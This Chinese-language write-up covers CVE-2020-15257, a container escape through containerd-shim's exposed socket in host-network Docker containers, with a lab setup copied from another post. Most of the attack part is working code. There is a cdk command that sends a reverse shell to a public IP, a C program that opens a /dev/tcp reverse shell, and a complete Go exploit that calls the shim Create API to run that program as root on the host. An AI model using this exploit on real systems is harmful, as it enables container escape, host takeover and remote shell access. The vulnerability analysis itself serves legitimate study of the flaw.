前言
containerd-shim
夹杂在 containerd
和 runc
之间,每次启动一个容器,都会创建一个新的 containerd-shim 进程,它通过指定的三个参数:容器 id、bundle 目录、运行时二进制文件路径,来调用运行时的 API 创建、运行容器,持续存在到容器实例进程退出为止,将容器的退出状态反馈给 containerd。
漏洞介绍
漏洞成因:docker容器以--net=host
启动会暴露containerd-shim 监听的 Unix 域套接字。
containerd 是由 Docker Daemon 中的容器运行时及其管理功能剥离了出来。docker 对容器的管理和操作基本都是通过 containerd 完成的。它向上为 Docker Daemon 提供了 gRPC 接口,向下通过 containerd-shim 结合 runC,实现对容器的管理控制。
执行以下命令,可以获取containerd-shim 监听的 Unix 域套接字:
cat /proc/net/unix | grep 'containerd-shim' | grep '@'
0000000000000000: 00000002 00000000 00010000 0001 01 65874 @/containerd-shim/067284ce2b310632459fd11fd3bfa296670c2eacd7abfbadf07ddd6ea580f7d9.sock@
@/containerd-shim/{sha256}.sock 这一类的抽象 Unix 域套接字,没有依靠 mnt 命名空间做隔离,而是依靠网络命名空间做隔离。攻击者可以通过操作containerd-shim API 进行逃逸。
可调用的api如下:
service Shim {
// State returns shim and task state information.
rpc State(StateRequest) returns (StateResponse);
rpc Create(CreateTaskRequest) returns (CreateTaskResponse);
rpc Start(StartRequest) returns (StartResponse);
rpc Delete(google.protobuf.Empty) returns (DeleteResponse);
rpc DeleteProcess(DeleteProcessRequest) returns (DeleteResponse);
rpc ListPids(ListPidsRequest) returns (ListPidsResponse);
rpc Pause(google.protobuf.Empty) returns (google.protobuf.Empty);
rpc Resume(google.protobuf.Empty) returns (google.protobuf.Empty);
rpc Checkpoint(CheckpointTaskRequest) returns (google.protobuf.Empty);
rpc Kill(KillRequest) returns (google.protobuf.Empty);
rpc Exec(ExecProcessRequest) returns (google.protobuf.Empty);
rpc ResizePty(ResizePtyRequest) returns (google.protobuf.Empty);
rpc CloseIO(CloseIORequest) returns (google.protobuf.Empty);
// ShimInfo returns information about the shim.
rpc ShimInfo(google.protobuf.Empty) returns (ShimInfoResponse);
rpc Update(UpdateTaskRequest) returns (google.protobuf.Empty);
rpc Wait(WaitRequest) returns (WaitResponse);
}
漏洞利用
cdk关于该漏洞的exp
cdk可以自动化逃逸CVE-2020-15257,反弹宿主机的shell到远端服务器。
./cdk run shim-pwn reverse 47.104.151.168 111
效果如下:
漏洞复现
以下复现内容转载自:
CVE-2020-15257-host模式容器逃逸漏洞分析 - 先知社区
https://xz.aliyun.com/t/8925
环境搭建
漏洞复现环境搭建
host 环境:
osboxes@osboxes:~/study/vul/docker-15257$ uname -a
Linux osboxes 4.15.0-47-generic #50-Ubuntu SMP Wed Mar 13 10:44:52 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
osboxes@osboxes:~/study/vul/docker-15257$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 18.04.1 LTS
Release: 18.04
Codename: bionic
(1)安装 18.09 版本的docker:
参考链接:https://bbs.huaweicloud.com/forum/thread-59673-1-1.html
wget https://download.docker.com/linux/static/stable/x86_64/docker-18.09.0.tgz
tar xvpf docker-18.09.0.tgz
sudo cp -p docker/* /usr/bin
配置docker.service文件 :
cat >/lib/systemd/system/docker.service <<EOF
[Unit]
Description=Docker Application Container Engine
Documentation=http://docs.docker.com
After=network.target docker.socket
[Service]
Type=notify
EnvironmentFile=-/run/flannel/docker
WorkingDirectory=/usr/local/bin
ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:4243 -H unix:///var/run/docker.sock --selinux-enabled=false --log-opt max-size=1g
ExecReload=/bin/kill -s HUP $MAINPID
# Having non-zero Limit*s causes performance problems due to accounting overhead
# in the kernel. We recommend using cgroups to do container-local accounting.
LimitNOFILE=infinity
LimitNPROC=infinity
LimitCORE=infinity
# Uncomment TasksMax if your systemd version supports it.
# Only systemd 226 and above support this version.
#TasksMax=infinity
TimeoutStartSec=0
# set delegate yes so that systemd does not reset the cgroups of docker containers
Delegate=yes
# kill only the docker process, not all processes in the cgroup
KillMode=process
Restart=on-failure
[Install]
WantedBy=multi-user.target
EOF
启动相关服务,输出Docker的状态:
systemctl daemon-reload
systemctl status docker
systemctl restart docker
systemctl status docker
systemctl enable docker
(2)安装1.3.7 版本的containerd
sudo apt install containerd.io=1.3.7-1
安装完后的版本信息为:
(3)安装go:
sudo apt install golang
(4)安装ubuntu docker 镜像:
sudo docker pull ubuntu:18.04
ubuntu docker 镜像拉取:
https://hub.docker.com/_/ubuntu?tab=tags&page=1&ordering=last_updated
(5)运行docker:
sudo docker run -ti --rm --network=host b205c8547463
(6)下载poc, 编译:
wget https://raw.githubusercontent.com/summershrimp/exploits-open/9f2e0a28ffcf04ac81ce9113b2f8c451c36fe129/CVE-2020-15257/shim.pb.go
go mod init example.com/poc
go build .
(7)搭建环境中记录的命令:
export GO111MODULE=on
go mod init example.com/m
编译v1 版本还是v2 版本:
Example usage:
'go mod init example.com/m' to initialize a v0 or v1 module
'go mod init example.com/m/v2' to initialize a v2 module
https://blog.csdn.net/benben_2015/article/details/82227338
进入同一个docker:
sudo docker exec -it 17ca27eb15e1 sh
保存docker 修改:
sudo docker commit container_id ubuntu-poc
安装特定版本的docker:
sudo apt-get update
sudo apt-get install apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository "deb \[arch=amd64\] https://download.docker.com/linux/ubuntu xenial stable"
安装指定版本的docker CE 列出版本,版本号从高到低
sudo apt-cache madison docker-ce
sudo apt-get install docker-ce=18.03.0~ce-0~ubuntu
解决sh: 1: Syntax error: Bad fd number 报错:
rm -f /bin/sh
ln -sf /bin/bash /bin/sh
利用containerd-shim API反弹shell
利用containerd-shim Create API, 相当于执行runc create , 读取config.json 的配置,创建一个新容器。
rpc Create(CreateTaskRequest) returns (CreateTaskResponse);
CreateTaskRequest 的 stdout参数,支持各种协议:
可以通过构造stdout 执行host上的二进制程序:
r, err := shimClient.Create(ctx, &shimapi.CreateTaskRequest{
ID: docker_id,
Bundle: "/run/containerd/io.containerd.runtime.v1.linux/moby/"+docker_id+"/config.json",
Runtime : "io.containerd.runtime.v1.linux",
Stdin: "anything",
Stdout: "binary:///bin/sh?-c="+payload_path+"nc",
Stderr: "anything",
Terminal : false,
Checkpoint : "anything",
})
所以我们在调用Create API前需要获取以下两个信息:
a、获取host上 docker的存储路径
root@osboxes:/# head -n 1 /etc/mtab
overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/LDRBK2BJC6VNVJIT3YWTX6KVVP:/var/lib/docker/overlay2/l/UZ4MNERQAY27L5SQHQF3QQ5LIQ:/var/lib/docker/overlay2/l/OMSEU276YHCMU7VZ77HDXMGHRL:/var/lib/docker/overlay2/l/SE23IRB2JDCIVNAZ7HCAVRXYMF:/var/lib/docker/overlay2/l/U57I52XHIDYPI7XUW6YYFRPQVE,upperdir=/var/lib/docker/overlay2/48f9caf0a731807f71c7277e8dfaeef58adb7c8f9b6180facdb3868bf1944a92/diff,workdir=/var/lib/docker/overlay2/48f9caf0a731807f71c7277e8dfaeef58adb7c8f9b6180facdb3868bf1944a92/work 0 0
b、获取docker id
root@osboxes:/# cat /proc/self/cgroup
12:perf_event:/docker/59ff2a350d6128188306ed648372570989866a75a4c1c56afd6f675a39d28f77
11:net_cls,net_prio:/docker/59ff2a350d6128188306ed648372570989866a75a4c1c56afd6f675a39d28f77
10:devices:/docker/59ff2a350d6128188306ed648372570989866a75a4c1c56afd6f675a39d28f77
9:pids:/docker/59ff2a350d6128188306ed648372570989866a75a4c1c56afd6f675a39d28f77
8:cpuset:/docker/59ff2a350d6128188306ed648372570989866a75a4c1c56afd6f675a39d28f77
7:cpu,cpuacct:/docker/59ff2a350d6128188306ed648372570989866a75a4c1c56afd6f675a39d28f77
6:blkio:/docker/59ff2a350d6128188306ed648372570989866a75a4c1c56afd6f675a39d28f77
5:memory:/docker/59ff2a350d6128188306ed648372570989866a75a4c1c56afd6f675a39d28f77
4:hugetlb:/docker/59ff2a350d6128188306ed648372570989866a75a4c1c56afd6f675a39d28f77
3:rdma:/
2:freezer:/docker/59ff2a350d6128188306ed648372570989866a75a4c1c56afd6f675a39d28f77
1:name=systemd:/docker/59ff2a350d6128188306ed648372570989866a75a4c1c56afd6f675a39d28f77
0::/system.slice/containerd.service
利用过程如下:
(1)编写nc代码并编译,放在docker的根目录下:
#include <stdio.h>
#include <stdlib.h>
int main()
{
system("/bin/sh -i >& /dev/tcp/192.168.148.135/1337 0>&1");
return 0;
}
(2)在docker 里面获取容器的存储目录,docker的根目录对应host上的路径为:
/var/lib/docker/overlay2/48f9caf0a731807f71c7277e8dfaeef58adb7c8f9b6180facdb3868bf1944a92/merged
(3)利用shim的Create api 来调用(2)
路径中存放的nc程序,就会执行nc连接到另一台机器192.168.148.135,反弹shell,得到host的root权限,完成虚拟机逃逸。
效果如下:
docker:
host:
另一台机器192.168.148.135:
需要注意的是:执行binary:///bin/sh?-c=
这样的IO进程,要求ttrpc 连接必须要有一个containerd 命名空间,可以通过以下代码绕过该检查:
md := ttrpc.MD{}
md.Set("containerd-namespace-ttrpc", "notmoby")
ctx = ttrpc.WithMetadata(ctx, md)
漏洞利用代码:
package main
import (
"context"
"errors"
"io/ioutil"
"log"
"net"
"regexp"
"strings"
"github.com/containerd/ttrpc"
shimapi "github.com/containerd/containerd/runtime/v1/shim/v1"
)
func getDockerID() (string, error) {
re, err := regexp.Compile("pids:/docker/.*")
if err != nil {
return "", err
}
data, err := ioutil.ReadFile("/proc/self/cgroup")
matches := re.FindAll(data, -1)
if matches == nil {
return "", errors.New("Cannot find docker id")
}
tmp_docker_id := matches[0]
docker_id := string(tmp_docker_id[13 : len(tmp_docker_id)])
return docker_id, nil
}
func getMergedPath() (string, error) {
re, err := regexp.Compile("workdir=.*")
if err != nil {
return "", err
}
data, err := ioutil.ReadFile("/etc/mtab")
matches := re.FindAll(data, -1)
if matches == nil {
return "", errors.New("Cannot find merged path")
}
tmp_path := matches[0]
path := string(tmp_path[8 : len(tmp_path)-8])
merged := path + "merged/"
return merged, nil
}
func getShimSockets() ([][]byte, error) {
re, err := regexp.Compile("@/containerd-shim/.*\\.sock")
if err != nil {
return nil, err
}
data, err := ioutil.ReadFile("/proc/net/unix")
matches := re.FindAll(data, -1)
if matches == nil {
return nil, errors.New("Cannot find vulnerable socket")
}
return matches, nil
}
func exp(sock string, docker_id string, payload_path string) bool {
sock = strings.Replace(sock, "@", "", -1)
conn, err := net.Dial("unix", "\x00"+sock)
if err != nil {
log.Println(err)
return false
}
client := ttrpc.NewClient(conn)
shimClient := shimapi.NewShimClient(client)
ctx := context.Background()
md := ttrpc.MD{}
md.Set("containerd-namespace-ttrpc", "notmoby")
ctx = ttrpc.WithMetadata(ctx, md)
/* // poc get shim pid
info, err := shimClient.ShimInfo(ctx, &types.Empty{})
if err != nil {
log.Println("rpc error:", err)
return false
}
log.Println("shim pid:", info.ShimPid)
*/
r, err := shimClient.Create(ctx, &shimapi.CreateTaskRequest{
ID: docker_id,
Bundle: "/run/containerd/io.containerd.runtime.v1.linux/moby/"+docker_id+"/config.json",
Runtime : "io.containerd.runtime.v1.linux",
Stdin: "anything",
//Stdout: "binary:///bin/sh?-c=cat%20/proc/self/status%20>/tmp/foobar",
Stdout: "binary:///bin/sh?-c="+payload_path+"nc",
Stderr: "anything",
Terminal : false,
Checkpoint : "anything",
})
if err != nil {
log.Println(err)
return false
}
log.Println(r)
return true
}
func main() {
matchset := make(map[string]bool)
socks, err := getShimSockets()
docker_id, err := getDockerID()
log.Println("find docker id:", docker_id)
merged_path, err := getMergedPath()
log.Println("find path:", merged_path)
if err != nil {
log.Fatalln(err)
}
for _, b := range socks {
sockname := string(b)
if _, ok := matchset[sockname]; ok {
continue
}
log.Println("try socket:", sockname)
matchset[sockname] = true
if exp(sockname, docker_id, merged_path) {
break
}
}
return
}